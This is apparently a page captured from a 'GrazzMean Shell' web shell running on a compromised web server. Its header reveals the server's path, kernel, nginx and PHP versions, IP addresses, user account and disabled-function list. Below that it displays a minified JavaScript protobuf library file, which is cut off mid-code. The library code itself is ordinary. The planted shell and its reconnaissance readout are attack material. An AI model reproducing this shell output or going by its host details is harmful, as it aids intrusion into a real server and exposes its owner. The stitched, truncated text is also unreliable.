shell bypass 403

GrazzMean Shell

: /www/wwwroot/jx.wumingai.com/assets/ [ drwxr-xr-x ]
Uname: Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Software: nginx/1.22.1
PHP version: 7.3.31 [ PHP INFO ] PHP os: Linux
Server Ip: 103.146.158.90
Your Ip: 216.73.216.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : ojpcyfi9pwebpx5x.js
import{cp as at,T as kr,fr as Si,b$ as Ci,c0 as Pi,fs as Zi,ft as Ho,b_ as Tr,fu as si,bZ as Jo,fv as Qo,r as w,cO as $o}from"./kkasil63rmfidan7.js";import{_ as Yo}from"./cjutno0jwjaoohx2.js";import{hW as Xo,hX as Zo,hY as ea}from"./m5ko8xkwcu432ruw.js";var Sn={};function ta(i,e){return e.forEach(function(t){t&&typeof t!="string"&&!Array.isArray(t)&&Object.keys(t).forEach(function(n){if(n!=="default"&&!(n in i)){var r=Object.getOwnPropertyDescriptor(t,n);Object.defineProperty(i,n,r.get?r:{enumerable:!0,get:function(){return t[n]}})}})}),Object.freeze(i)}function K(i,e){if(!i)throw new Error(e)}const ia=34028234663852886e22,na=-34028234663852886e22,ra=4294967295,sa=2147483647,oa=-2147483648;function Ot(i){if(typeof i!="number")throw new Error("invalid int 32: "+typeof i);if(!Number.isInteger(i)||i>sa||i<oa)throw new Error("invalid int 32: "+i)}function Ei(i){if(typeof i!="number")throw new Error("invalid uint 32: "+typeof i);if(!Number.isInteger(i)||i>ra||i<0)throw new Error("invalid uint 32: "+i)}function Sr(i){if(typeof i!="number")throw new Error("invalid float 32: "+typeof i);if(Number.isFinite(i)&&(i>ia||i<na))throw new Error("invalid float 32: "+i)}const Cr=Symbol("@bufbuild/protobuf/enum-type");function aa(i){const e=i[Cr];return K(e,"missing enum type on enum object"),e}function Pr(i,e,t,n){i[Cr]=Er(e,t.map(r=>({no:r.no,name:r.name,localName:i[r.no]})))}function Er(i,e,t){const n=Object.create(null),r=Object.create(null),s=[];for(const o of e){const a=wr(o);s.push(a),n[o.name]=a,r[o.no]=a}return{typeName:i,values:s,findName(o){return n[o]},findNumber(o){return r[o]}}}function ca(i,e,t){const n={};for(const r of e){const s=wr(r);n[s.localName]=s.no,n[s.no]=s.localName}return Pr(n,i,e),n}function wr(i){return"localName"in i?i:Object.assign(Object.assign({},i),{localName:i.name})}class Rr{equals(e){return this.getType().runtime.util.equals(this.getType(),this,e)}clone(){return this.getType().runtime.util.clone(this)}fromBinary(e,t){const n=this.getType(),r=n.runtime.bin,s=r.makeReadOptions(t);return r.readMessage(this,s.readerFactory(e),e.byteLength,s),this}fromJson(e,t){const n=this.getType(),r=n.runtime.json,s=r.makeReadOptions(t);return r.readMessage(n,e,s,this),this}fromJsonString(e,t){let n;try{n=JSON.parse(e)}catch(r){throw new Error("cannot decode ".concat(this.getType().typeName," from JSON: ").concat(r instanceof Error?r.message:String(r)))}return this.fromJson(n,t)}toBinary(e){const t=this.getType(),n=t.runtime.bin,r=n.makeWriteOptions(e),s=r.writerFactory();return n.writeMessage(this,s,r),s.finish()}toJson(e){const t=this.getType(),n=t.runtime.json,r=n.makeWriteOptions(e);return n.writeMessage(this,r)}toJsonString(e){var t;const n=this.toJson(e);return JSON.stringify(n,null,(t=e==null?void 0:e.prettySpaces)!==null&&t!==void 0?t:0)}toJSON(){return this.toJson({emitDefaultValues:!0})}getType(){return Object.getPrototypeOf(this).constructor}}function da(i,e,t,n){var r;const s=(r=n==null?void 0:n.localName)!==null&&r!==void 0?r:e.substring(e.lastIndexOf(".")+1),o={[s]:function(a){i.util.initFields(this),i.util.initPartial(a,this)}}[s];return Object.setPrototypeOf(o.prototype,new Rr),Object.assign(o,{runtime:i,typeName:e,fields:i.util.newFieldList(t),fromBinary(a,c){return new o().fromBinary(a,c)},fromJson(a,c){return new o().fromJson(a,c)},fromJsonString(a,c){return new o().fromJsonString(a,c)},equals(a,c){return i.util.equals(o,a,c)}}),o}function ua(){let i=0,e=0;for(let n=0;n<28;n+=7){let r=this.buf[this.pos++];if(i|=(r&127)<<n,!(r&128))return this.assertBounds(),[i,e]}let t=this.buf[this.pos++];if(i|=(t&15)<<28,e=(t&112)>>4,!(t&128))return this.assertBounds(),[i,e];for(let n=3;n<=31;n+=7){let r=this.buf[this.pos++];if(e|=(r&127)<<n,!(r&128))return this.assertBounds(),[i,e]}throw new Error("invalid varint")}function oi(i,e,t){for(let s=0;s<28;s=s+7){const o=i>>>s,a=!(!(o>>>7)&&e==0),c=(a?o|128:o)&255;if(t.push(c),!a)return}const n=i>>>28&15|(e&7)<<4,r=!!(e>>3);if(t.push((r?n|128:n)&255),!!r){for(let s=3;s<31;s=s+7){const o=e>>>s,a=!!(o>>>7),c=(a?o|128:o)&255;if(t.push(c),!a)return}t.push(e>>>31&1)}}const xt=4294967296;function Cn(i){const e=i[0]==="-";e&&(i=i.slice(1));const t=1e6;let n=0,r=0;function s(o,a){const c=Number(i.slice(o,a));r*=t,n=n*t+c,n>=xt&&(r=r+(n/xt|0),n=n%xt)}return s(-24,-18),s(-18,-12),s(-12,-6),s(-6),e?Ir(n,r):en(n,r)}function la(i,e){let t=en(i,e);const n=t.hi&2147483648;n&&(t=Ir(t.lo,t.hi));const r=_r(t.lo,t.hi);return n?"-"+r:r}function _r(i,e){if({lo:i,hi:e}=ha(i,e),e<=2097151)return String(xt*e+i);const t=i&16777215,n=(i>>>24|e<<8)&16777215,r=e>>16&65535;let s=t+n*6777216+r*6710656,o=n+r*8147497,a=r*2;const c=1e7;return s>=c&&(o+=Math.floor(s/c),s%=c),o>=c&&(a+=Math.floor(o/c),o%=c),a.toString()+Pn(o)+Pn(s)}function ha(i,e){return{lo:i>>>0,hi:e>>>0}}function en(i,e){return{lo:i|0,hi:e|0}}function Ir(i,e){return e=~e,i?i=~i+1:e+=1,en(i,e)}const Pn=i=>{const e=String(i);return"0000000".slice(e.length)+e};function En(i,e){if(i>=0){for(;i>127;)e.push(i&127|128),i=i>>>7;e.push(i)}else{for(let t=0;t<9;t++)e.push(i&127|128),i=i>>7;e.push(1)}}function fa(){let i=this.buf[this.pos++],e=i&127;if(!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<7,!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<14,!(i&128))return this.assertBounds(),e;if(i=this.buf[this.pos++],e|=(i&127)<<21,!(i&128))return this.assertBounds(),e;i=this.buf[this.pos++],e|=(i&15)<<28;for(let t=5;i&128&&t<10;t++)i=this.buf[this.pos++];if(i&128)throw new Error("invalid varint");return this.assertBounds(),e>>>0}function pa(){const i=new DataView(new ArrayBuffer(8));if(typeof BigInt=="function"&&typeof i.getBigInt64=="function"&&typeof i.getBigUint64=="function"&&typeof i.setBigInt64=="function"&&typeof i.setBigUint64=="function"&&(typeof process!="object"||typeof Sn!="object"||Sn.BUF_BIGINT_DISABLE!=="1")){const r=BigInt("-9223372036854775808"),s=BigInt("9223372036854775807"),o=BigInt("0"),a=BigInt("18446744073709551615");return{zero:BigInt(0),supported:!0,parse(c){const d=typeof c=="bigint"?c:BigInt(c);if(d>s||d<r)throw new Error("int64 invalid: ".concat(c));return d},uParse(c){const d=typeof c=="bigint"?c:BigInt(c);if(d>a||d<o)throw new Error("uint64 invalid: ".concat(c));return d},enc(c){return i.setBigInt64(0,this.parse(c),!0),{lo:i.getInt32(0,!0),hi:i.getInt32(4,!0)}},uEnc(c){return i.setBigInt64(0,this.uParse(c),!0),{lo:i.getInt32(0,!0),hi:i.getInt32(4,!0)}},dec(c,d){return i.setInt32(0,c,!0),i.setInt32(4,d,!0),i.getBigInt64(0,!0)},uDec(c,d){return i.setInt32(0,c,!0),i.setInt32(4,d,!0),i.getBigUint64(0,!0)}}}const t=r=>K(/^-?[0-9]+$/.test(r),"int64 invalid: ".concat(r)),n=r=>K(/^[0-9]+$/.test(r),"uint64 invalid: ".concat(r));return{zero:"0",supported:!1,parse(r){return typeof r!="string"&&(r=r.toString()),t(r),r},uParse(r){return typeof r!="string"&&(r=r.toString()),n(r),r},enc(r){return typeof r!="string"&&(r=r.toString()),t(r),Cn(r)},uEnc(r){return typeof r!="string"&&(r=r.toString()),n(r),Cn(r)},dec(r,s){return la(r,s)},uDec(r,s){return _r(r,s)}}}const J=pa();var T;(function(i){i[i.DOUBLE=1]="DOUBLE",i[i.FLOAT=2]="FLOAT",i[i.INT64=3]="INT64",i[i.UINT64=4]="UINT64",i[i.INT32=5]="INT32",i[i.FIXED64=6]="FIXED64",i[i.FIXED32=7]="FIXED32",i[i.BOOL=8]="BOOL",i[i.STRING=9]="STRING",i[i.BYTES=12]="BYTES",i[i.UINT32=13]="UINT32",i[i.SFIXED32=15]="SFIXED32",i[i.SFIXED64=16]="SFIXED64",i[i.SINT32=17]="SINT32",i[i.SINT64=18]="SINT64"})(T||(T={}));var Me;(function(i){i[i.BIGINT=0]="BIGINT",i[i.STRING=1]="STRING"})(Me||(Me={}));function _e(i,e,t){if(e===t)return!0;if(i==T.BYTES){if(!(e instanceof Uint8Array)||!(t instanceof Uint8Array)||e.length!==t.length)return!1;for(let n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}switch(i){case T.UINT64:case T.FIXED64:case T.INT64:case T.SFIXED64:case T.SINT64:return e==t}return!1}function Ye(i,e){switch(i){case T.BOOL:return!1;case T.UINT64:case T.FIXED64:case T.INT64:case T.SFIXED64:case T.SINT64:return e==0?J.zero:"0";case T.DOUBLE:case T.FLOAT:return 0;case T.BYTES:return new Uint8Array(0);case T.STRING:return"";default:return 0}}function Or(i,e){switch(i){case T.BOOL:return e===!1;case T.STRING:return e==="";case T.BYTES:return e instanceof Uint8Array&&!e.byteLength;default:return e==0}}var G;(function(i){i[i.Varint=0]="Varint",i[i.Bit64=1]="Bit64",i[i.LengthDelimited=2]="LengthDelimited",i[i.StartGroup=3]="StartGroup",i[i.EndGroup=4]="EndGroup",i[i.Bit32=5]="Bit32"})(G||(G={}));class ma{constructor(e){this.stack=[],this.textEncoder=e??new TextEncoder,this.chunks=[],this.buf=[]}finish(){this.chunks.push(new Uint8Array(this.buf));let e=0;for(let r=0;r<this.chunks.length;r++)e+=this.chunks[r].length;let t=new Uint8Array(e),n=0;for(let r=0;r<this.chunks.length;r++)t.set(this.chunks[r],n),n+=this.chunks[r].length;return this.chunks=[],t}fork(){return this.stack.push({chunks:this.chunks,buf:this.buf}),this.chunks=[],this.buf=[],this}join(){let e=this.finish(),t=this.stack.pop();if(!t)throw new Error("invalid state, fork stack empty");return this.chunks=t.chunks,this.buf=t.buf,this.uint32(e.byteLength),this.raw(e)}tag(e,t){return this.uint32((e<<3|t)>>>0)}raw(e){return this.buf.length&&(this.chunks.push(new Uint8Array(this.buf)),this.buf=[]),this.chunks.push(e),this}uint32(e){for(Ei(e);e>127;)this.buf.push(e&127|128),e=e>>>7;return this.buf.push(e),this}int32(e){return Ot(e),En(e,this.buf),this}bool(e){return this.buf.push(e?1:0),this}bytes(e){return this.uint32(e.byteLength),this.raw(e)}string(e){let t=this.textEncoder.encode(e);return this.uint32(t.byteLength),this.raw(t)}float(e){Sr(e);let t=new Uint8Array(4);return new DataView(t.buffer).setFloat32(0,e,!0),this.raw(t)}double(e){let t=new Uint8Array(8);return new DataView(t.buffer).setFloat64(0,e,!0),this.raw(t)}fixed32(e){Ei(e);let t=new Uint8Array(4);return new DataView(t.buffer).setUint32(0,e,!0),this.raw(t)}sfixed32(e){Ot(e);let t=new Uint8Array(4);return new DataView(t.buffer).setInt32(0,e,!0),this.raw(t)}sint32(e){return Ot(e),e=(e<<1^e>>31)>>>0,En(e,this.buf),this}sfixed64(e){let t=new Uint8Array(8),n=new DataView(t.buffer),r=J.enc(e);return n.setInt32(0,r.lo,!0),n.setInt32(4,r.hi,!0),this.raw(t)}fixed64(e){let t=new Uint8Array(8),n=new DataView(t.buffer),r=J.uEnc(e);return n.setInt32(0,r.lo,!0),n.setInt32(4,r.hi,!0),this.raw(t)}int64(e){let t=J.enc(e);return oi(t.lo,t.hi,this.buf),this}sint64(e){let t=J.enc(e),n=t.hi>>31,r=t.lo<<1^n,s=(t.hi<<1|t.lo>>>31)^n;return oi(r,s,this.buf),this}uint64(e){let t=J.uEnc(e);return oi(t.lo,t.hi,this.buf),this}}class ga{constructor(e,t){this.varint64=ua,this.uint32=fa,this.buf=e,this.len=e.length,this.pos=0,this.view=new DataView(e.buffer,e.byteOffset,e.byteLength),this.textDecoder=t??new TextDecoder}tag(){let e=this.uint32(),t=e>>>3,n=e&7;if(t<=0||n<0||n>5)throw new Error("illegal tag: field no "+t+" wire type "+n);return[t,n]}skip(e,t){let n=this.pos;switch(e){case G.Varint:for(;this.buf[this.pos++]&128;);break;case G.Bit64:this.pos+=4;case G.Bit32:this.pos+=4;break;case G.LengthDelimited:let r=this.uint32();this.pos+=r;break;case G.StartGroup:for(;;){const[s,o]=this.tag();if(o===G.EndGroup){if(t!==void 0&&s!==t)throw new Error("invalid end group tag");break}this.skip(o,s)}break;default:throw new Error("cant skip wire type "+e)}return this.assertBounds(),this.buf.subarray(n,this.pos)}assertBounds(){if(this.pos>this.len)throw new RangeError("premature EOF")}int32(){return this.uint32()|0}sint32(){let e=this.uint32();return e>>>1^-(e&1)}int64(){return J.dec(...this.varint64())}uint64(){return J.uDec(...this.varint64())}sint64(){let[e,t]=this.varint64(),n=-(e&1);return e=(e>>>1|(t&1)<<31)^n,t=t>>>1^n,J.dec(e,t)}bool(){let[e,t]=this.varint64();return e!==0||t!==0}fixed32(){return this.view.getUint32((this.pos+=4)-4,!0)}sfixed32(){return this.view.getInt32((this.pos+=4)-4,!0)}fixed64(){return J.uDec(this.sfixed32(),this.sfixed32())}sfixed64(){return J.dec(this.sfixed32(),this.sfixed32())}float(){return this.view.getFloat32((this.pos+=4)-4,!0)}double(){return this.view.getFloat64((this.pos+=8)-8,!0)}bytes(){let e=this.uint32(),t=this.pos;return this.pos+=e,this.assertBounds(),this.buf.subarray(t,t+e)}string(){return this.textDecoder.decode(this.bytes())}}function va(i,e,t,n){let r;return{typeName:e,extendee:t,get field(){if(!r){const s=typeof n=="function"?n():n;s.name=e.split(".").pop(),s.jsonName="[".concat(e,"]"),r=i.util.newFieldList([s]).list()[0]}return r},runtime:i}}function xr(i){const e=i.field.localName,t=Object.create(null);return t[e]=ba(i),[t,()=>t[e]]}function ba(i){const e=i.field;if(e.repeated)return[];if(e.default!==void 0)return e.default;switch(e.kind){case"enum":return e.T.values[0].no;case"scalar":return Ye(e.T,e.L);case"message":const t=e.T,n=new t;return t.fieldWrapper?t.fieldWrapper.unwrapField(n):n;case"map":throw"map fields are not allowed to be extensions"}}function ya(i,e){if(!e.repeated&&(e.kind=="enum"||e.kind=="scalar")){for(let t=i.length-1;t>=0;--t)if(i[t].no==e.no)return[i[t]];return[]}return i.filter(t=>t.no===e.no)}let ke="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),Yt=[];for(let i=0;i<ke.length;i++)Yt[ke[i].charCodeAt(0)]=i;Yt[45]=ke.indexOf("+");Yt[95]=ke.indexOf("/");const Mr={dec(i){let e=i.length*3/4;i[i.length-2]=="="?e-=2:i[i.length-1]=="="&&(e-=1);let t=new Uint8Array(e),n=0,r=0,s,o=0;for(let a=0;a<i.length;a++){if(s=Yt[i.charCodeAt(a)],s===void 0)switch(i[a]){case"=":r=0;case`
`:case"\r":case"	":case" ":continue;default:throw Error("invalid base64 string.")}switch(r){case 0:o=s,r=1;break;case 1:t[n++]=o<<2|(s&48)>>4,o=s,r=2;break;case 2:t[n++]=(o&15)<<4|(s&60)>>2,o=s,r=3;break;case 3:t[n++]=(o&3)<<6|s,r=0;break}}if(r==1)throw Error("invalid base64 string.");return t.subarray(0,n)},enc(i){let e="",t=0,n,r=0;for(let s=0;s<i.length;s++)switch(n=i[s],t){case 0:e+=ke[n>>2],r=(n&3)<<4,t=1;break;case 1:e+=ke[r|n>>4],r=(n&15)<<2,t=2;break;case 2:e+=ke[r|n>>6],e+=ke[n&63],t=0;break}return t&&(e+=ke[r],e+="=",t==1&&(e+="=")),e}};function ka(i,e,t){Ar(e,i);const n=e.runtime.bin.makeReadOptions(t),r=ya(i.getType().runtime.bin.listUnknownFields(i),e.field),[s,o]=xr(e);for(const a of r)e.runtime.bin.readField(s,n.readerFactory(a.data),e.field,a.wireType,n);return o()}function Ta(i,e,t,n){Ar(e,i);const r=e.runtime.bin.makeReadOptions(n),s=e.runtime.bin.makeWriteOptions(n);if(Dr(i,e)){const d=i.getType().runtime.bin.listUnknownFields(i).filter(u=>u.no!=e.field.no);i.getType().runtime.bin.discardUnknownFields(i);for(const u of d)i.getType().runtime.bin.onUnknownField(i,u.no,u.wireType,u.data)}const o=s.writerFactory();let a=e.field;!a.opt&&!a.repeated&&(a.kind=="enum"||a.kind=="scalar")&&(a=Object.assign(Object.assign({},e.field),{opt:!0})),e.runtime.bin.writeField(a,t,o,s);const c=r.readerFactory(o.finish());for(;c.pos<c.len;){const[d,u]=c.tag(),l=c.skip(u,d);i.getType().runtime.bin.onUnknownField(i,d,u,l)}}function Dr(i,e){const t=i.getType();return e.extendee.typeName===t.typeName&&!!t.runtime.bin.listUnknownFields(i).find(n=>n.no==e.field.no)}function Ar(i,e){K(i.extendee.typeName==e.getType().typeName,"extension ".concat(i.typeName," can only be applied to message ").concat(i.extendee.typeName))}function Nr(i,e){const t=i.localName;if(i.repeated)return e[t].length>0;if(i.oneof)return e[i.oneof.localName].case===t;switch(i.kind){case"enum":case"scalar":return i.opt||i.req?e[t]!==void 0:i.kind=="enum"?e[t]!==i.T.values[0].no:!Or(i.T,e[t]);case"message":return e[t]!==void 0;case"map":return Object.keys(e[t]).length>0}}function wn(i,e){const t=i.localName,n=!i.opt&&!i.req;if(i.repeated)e[t]=[];else if(i.oneof)e[i.oneof.localName]={case:void 0};else switch(i.kind){case"map":e[t]={};break;case"enum":e[t]=n?i.T.values[0].no:void 0;break;case"scalar":e[t]=n?Ye(i.T,i.L):void 0;break;case"message":e[t]=void 0;break}}function De(i,e){if(i===null||typeof i!="object"||!Object.getOwnPropertyNames(Rr.prototype).every(n=>n in i&&typeof i[n]=="function"))return!1;const t=i.getType();return t===null||typeof t!="function"||!("typeName"in t)||typeof t.typeName!="string"?!1:e===void 0?!0:t.typeName==e.typeName}function Lr(i,e){return De(e)||!i.fieldWrapper?e:i.fieldWrapper.wrapField(e)}T.DOUBLE,T.FLOAT,T.INT64,T.UINT64,T.INT32,T.UINT32,T.BOOL,T.STRING,T.BYTES;const Rn={ignoreUnknownFields:!1},_n={emitDefaultValues:!1,enumAsInteger:!1,useProtoFieldName:!1,prettySpaces:0};function Sa(i){return i?Object.assign(Object.assign({},Rn),i):Rn}function Ca(i){return i?Object.assign(Object.assign({},_n),i):_n}const Kt=Symbol(),Mt=Symbol();function Pa(){return{makeReadOptions:Sa,makeWriteOptions:Ca,readMessage(i,e,t,n){if(e==null||Array.isArray(e)||typeof e!="object")throw new Error("cannot decode message ".concat(i.typeName," from JSON: ").concat(pe(e)));n=n??new i;const r=new Map,s=t.typeRegistry;for(const[o,a]of Object.entries(e)){const c=i.fields.findJsonName(o);if(c){if(c.oneof){if(a===null&&c.kind=="scalar")continue;const d=r.get(c.oneof);if(d!==void 0)throw new Error("cannot decode message ".concat(i.typeName,' from JSON: multiple keys for oneof "').concat(c.oneof.name,'" present: "').concat(d,'", "').concat(o,'"'));r.set(c.oneof,o)}In(n,a,c,t,i)}else{let d=!1;if(s!=null&&s.findExtension&&o.startsWith("[")&&o.endsWith("]")){const u=s.findExtension(o.substring(1,o.length-1));if(u&&u.extendee.typeName==i.typeName){d=!0;const[l,h]=xr(u);In(l,a,u.field,t,u),Ta(n,u,h(),t)}}if(!d&&!t.ignoreUnknownFields)throw new Error("cannot decode message ".concat(i.typeName,' from JSON: key "').concat(o,'" is unknown'))}}return n},writeMessage(i,e){const t=i.getType(),n={};let r;try{for(r of t.fields.byNumber()){if(!Nr(r,i)){if(r.req)throw"required field not set";if(!e.emitDefaultValues||!wa(r))continue}const o=r.oneof?i[r.oneof.localName].value:i[r.localName],a=On(r,o,e);a!==void 0&&(n[e.useProtoFieldName?r.name:r.jsonName]=a)}const s=e.typeRegistry;if(s!=null&&s.findExtensionFor)for(const o of t.runtime.bin.listUnknownFields(i)){const a=s.findExtensionFor(t.typeName,o.no);if(a&&Dr(i,a)){const c=ka(i,a,e),d=On(a.field,c,e);d!==void 0&&(n[a.field.jsonName]=d)}}}catch(s){const o=r?"cannot encode field ".concat(t.typeName,".").concat(r.name," to JSON"):"cannot encode message ".concat(t.typeName," to JSON"),a=s instanceof Error?s.message:String(s);throw new Error(o+(a.length>0?": ".concat(a):""))}return n},readScalar(i,e,t){return ut(i,e,t??Me.BIGINT,!0)},writeScalar(i,e,t){if(e!==void 0&&(t||Or(i,e)))return Dt(i,e)},debug:pe}}function pe(i){if(i===null)return"null";switch(typeof i){case"object":return Array.isArray(i)?"array":"object";case"string":return i.length>100?"string":'"'.concat(i.split('"').join('\\"'),'"');default:return String(i)}}function In(i,e,t,n,r){let s=t.localName;if(t.repeated){if(K(t.kind!="map"),e===null)return;if(!Array.isArray(e))throw new Error("cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(e)));const o=i[s];for(const a of e){if(a===null)throw new Error("cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(a)));switch(t.kind){case"message":o.push(t.T.fromJson(a,n));break;case"enum":const c=ai(t.T,a,n.ignoreUnknownFields,!0);c!==Mt&&o.push(c);break;case"scalar":try{o.push(ut(t.T,a,t.L,!0))}catch(d){let u="cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(a));throw d instanceof Error&&d.message.length>0&&(u+=": ".concat(d.message)),new Error(u)}break}}}else if(t.kind=="map"){if(e===null)return;if(typeof e!="object"||Array.isArray(e))throw new Error("cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(e)));const o=i[s];for(const[a,c]of Object.entries(e)){if(c===null)throw new Error("cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: map value null"));let d;try{d=Ea(t.K,a)}catch(u){let l="cannot decode map key for field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(e));throw u instanceof Error&&u.message.length>0&&(l+=": ".concat(u.message)),new Error(l)}switch(t.V.kind){case"message":o[d]=t.V.T.fromJson(c,n);break;case"enum":const u=ai(t.V.T,c,n.ignoreUnknownFields,!0);u!==Mt&&(o[d]=u);break;case"scalar":try{o[d]=ut(t.V.T,c,Me.BIGINT,!0)}catch(l){let h="cannot decode map value for field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(e));throw l instanceof Error&&l.message.length>0&&(h+=": ".concat(l.message)),new Error(h)}break}}}else switch(t.oneof&&(i=i[t.oneof.localName]={case:s},s="value"),t.kind){case"message":const o=t.T;if(e===null&&o.typeName!="google.protobuf.Value")return;let a=i[s];De(a)?a.fromJson(e,n):(i[s]=a=o.fromJson(e,n),o.fieldWrapper&&!t.oneof&&(i[s]=o.fieldWrapper.unwrapField(a)));break;case"enum":const c=ai(t.T,e,n.ignoreUnknownFields,!1);switch(c){case Kt:wn(t,i);break;case Mt:break;default:i[s]=c;break}break;case"scalar":try{const d=ut(t.T,e,t.L,!1);switch(d){case Kt:wn(t,i);break;default:i[s]=d;break}}catch(d){let u="cannot decode field ".concat(r.typeName,".").concat(t.name," from JSON: ").concat(pe(e));throw d instanceof Error&&d.message.length>0&&(u+=": ".concat(d.message)),new Error(u)}break}}function Ea(i,e){if(i===T.BOOL)switch(e){case"true":e=!0;break;case"false":e=!1;break}return ut(i,e,Me.BIGINT,!0).toString()}function ut(i,e,t,n){if(e===null)return n?Ye(i,t):Kt;switch(i){case T.DOUBLE:case T.FLOAT:if(e==="NaN")return Number.NaN;if(e==="Infinity")return Number.POSITIVE_INFINITY;if(e==="-Infinity")return Number.NEGATIVE_INFINITY;if(e===""||typeof e=="string"&&e.trim().length!==e.length||typeof e!="string"&&typeof e!="number")break;const r=Number(e);if(Number.isNaN(r)||!Number.isFinite(r))break;return i==T.FLOAT&&Sr(r),r;case T.INT32:case T.FIXED32:case T.SFIXED32:case T.SINT32:case T.UINT32:let s;if(typeof e=="number"?s=e:typeof e=="string"&&e.length>0&&e.trim().length===e.length&&(s=Number(e)),s===void 0)break;return i==T.UINT32||i==T.FIXED32?Ei(s):Ot(s),s;case T.INT64:case T.SFIXED64:case T.SINT64:if(typeof e!="number"&&typeof e!="string")break;const o=J.parse(e);return t?o.toString():o;case T.FIXED64:case T.UINT64:if(typeof e!="number"&&typeof e!="string")break;const a=J.uParse(e);return t?a.toString():a;case T.BOOL:if(typeof e!="boolean")break;return e;case T.STRING:if(typeof e!="string")break;try{encodeURIComponent(e)}catch{throw new Error("invalid UTF8")}return e;case T.BYTES:if(e==="")return new Uint8Array(0);if(typeof e!="string")break;return Mr.dec(e)}throw new Error}function ai(i,e,t,n){if(e===null)return i.typeName=="google.protobuf.NullValue"?0:n?i.values[0].no:Kt;switch(typeof e){case"number":if(Number.isInteger(e))return e;break;case"string":const r=i.findName(e);if(r!==void 0)return r.no;if(t)return Mt;break}throw new Error("cannot decode enum ".concat(i.typeName," from JSON: ").concat(pe(e)))}function wa(i){return i.repeated||i.kind=="map"?!0:!(i.oneof||i.kind=="message"||i.opt||i.req)}function On(i,e,t){if(i.kind=="map"){K(typeof e=="object"&&e!=null);const n={},r=Object.entries(e);switch(i.V.kind){case"scalar":for(const[o,a]of r)n[o.toString()]=Dt(i.V.T,a);break;case"message":for(const[o,a]of r)n[o.toString()]=a.toJson(t);break;case"enum":const s=i.V.T;for(const[o,a]of r)n[o.toString()]=ci(s,a,t.enumAsInteger);break}return t.emitDefaultValues||r.length>0?n:void 0}if(i.repeated){K(Array.isArray(e));const n=[];switch(i.kind){case"scalar":for(let r=0;r<e.length;r++)n.push(Dt(i.T,e[r]));break;case"enum":for(let r=0;r<e.length;r++)n.push(ci(i.T,e[r],t.enumAsInteger));break;case"message":for(let r=0;r<e.length;r++)n.push(e[r].toJson(t));break}return t.emitDefaultValues||n.length>0?n:void 0}switch(i.kind){case"scalar":return Dt(i.T,e);case"enum":return ci(i.T,e,t.enumAsInteger);case"message":return Lr(i.T,e).toJson(t)}}function ci(i,e,t){var n;if(K(typeof e=="number"),i.typeName=="google.protobuf.NullValue")return null;if(t)return e;const r=i.findNumber(e);return(n=r==null?void 0:r.name)!==null&&n!==void 0?n:e}function Dt(i,e){switch(i){case T.INT32:case T.SFIXED32:case T.SINT32:case T.FIXED32:case T.UINT32:return K(typeof e=="number"),e;case T.FLOAT:case T.DOUBLE:return K(typeof e=="number"),Number.isNaN(e)?"NaN":e===Number.POSITIVE_INFINITY?"Infinity":e===Number.NEGATIVE_INFINITY?"-Infinity":e;case T.STRING:return K(typeof e=="string"),e;case T.BOOL:return K(typeof e=="boolean"),e;case T.UINT64:case T.FIXED64:case T.INT64:case T.SFIXED64:case T.SINT64:return K(typeof e=="bigint"||typeof e=="string"||typeof e=="number"),e.toString();case T.BYTES:return K(e instanceof Uint8Array),Mr.enc(e)}}const je=Symbol("@bufbuild/protobuf/unknown-fields"),xn={readUnknownFields:!0,readerFactory:i=>new ga(i)},Mn={writeUnknownFields:!0,writerFactory:()=>new ma};function Ra(i){return i?Object.assign(Object.assign({},xn),i):xn}function _a(i){return i?Object.assign(Object.assign({},Mn),i):Mn}function Ia(){return{makeReadOptions:Ra,makeWriteOptions:_a,listUnknownFields(i){var e;return(e=i[je])!==null&&e!==void 0?e:[]},discardUnknownFields(i){delete i[je]},writeUnknownFields(i,e){const n=i[je];if(n)for(const r of n)e.tag(r.no,r.wireType).raw(r.data)},onUnknownField(i,e,t,n){const r=i;Array.isArray(r[je])||(r[je]=[]),r[je].push({no:e,wireType:t,data:n})},readMessage(i,e,t,n,r){const s=i.getType(),o=r?e.len:e.pos+t;let a,c;for(;e.pos<o&&([a,c]=e.tag(),!(r===!0&&c==G.EndGroup));){const d=s.fields.find(a);if(!d){const u=e.skip(c,a);n.readUnknownFields&&this.onUnknownField(i,a,c,u);continue}Dn(i,e,d,c,n)}if(r&&(c!=G.EndGroup||a!==t))throw new Error("invalid end group tag")},readField:Dn,writeMessage(i,e,t){const n=i.getType();for(const r of n.fields.byNumber()){if(!Nr(r,i)){if(r.req)throw new Error("cannot encode field ".concat(n.typeName,".").concat(r.name," to binary: required field not set"));continue}const s=r.oneof?i[r.oneof.localName].value:i[r.localName];An(r,s,e,t)}return t.writeUnknownFields&&this.writeUnknownFields(i,e),e},writeField(i,e,t,n){e!==void 0&&An(i,e,t,n)}}}function Dn(i,e,t,n,r){let{repeated:s,localName:o}=t;switch(t.oneof&&(i=i[t.oneof.localName],i.case!=o&&delete i.value,i.case=o,o="value"),t.kind){case"scalar":case"enum":const a=t.kind=="enum"?T.INT32:t.T;let 